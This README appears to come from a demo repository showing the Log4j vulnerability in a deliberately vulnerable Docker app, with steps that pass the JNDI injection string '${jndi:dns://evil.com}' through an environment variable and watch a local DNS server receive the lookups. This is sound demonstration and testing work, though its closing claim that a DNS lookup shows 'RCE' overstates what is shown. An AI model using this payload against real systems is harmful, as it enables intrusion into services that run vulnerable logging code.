Log4j is an open-source library used for logging application activity in Java applications. It helps developers log messages, debug information, and track application performance.
[!INFORMATION] This repository demonstrates the Log4j vulnerability identified by NodeOps Security Hub's vulnerability scanner.
We created a simple application which accepts inputs in ENV and log.
docker build -t ttl.sh/log4j-demo:1h .
# Open Terminal#1
# Start the DNS server, and print all requests & resolve with:
go run main.go
# Open Terminal#2
# Trigger
docker run -e VULN_INPUT='${jndi:dns://evil.com}' --network host --dns 127.0.0.1 ttl.sh/log4j-demo:1h
## Switch to Terminal#1
## You will see following logs
## Received DNS request ;evil.com. IN AAAA
## Received DNS request ;evil.com. IN A
## You will see Log4j doing RCE.
- NodeOps Network